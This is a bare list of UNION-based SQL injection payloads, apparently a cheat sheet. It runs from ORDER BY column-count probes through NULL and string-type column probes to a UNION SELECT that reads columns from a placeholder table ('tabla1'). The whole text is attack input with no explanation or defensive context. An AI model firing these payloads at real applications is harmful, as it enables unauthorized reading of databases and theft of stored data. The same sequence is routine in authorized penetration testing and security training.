ORDER BY 1-- -
ORDER BY 2-- -
ORDER BY 3-- -
UNION SELECT NULL-- -
UNION SELECT NULL,NULL-- -
UNION SELECT NULL,NULL,NULL-- -
UNION SELECT 'a',NULL,NULL-- -
UNION SELECT NULL,'a',NULL-- -
UNION SELECT NULL,NULL,'a'-- -
UNION SELECT columna1, columna2, columna3 FROM tabla1-- -
UNION ALL SELECT columna1, columna2, columna3 FROM tabla1-- -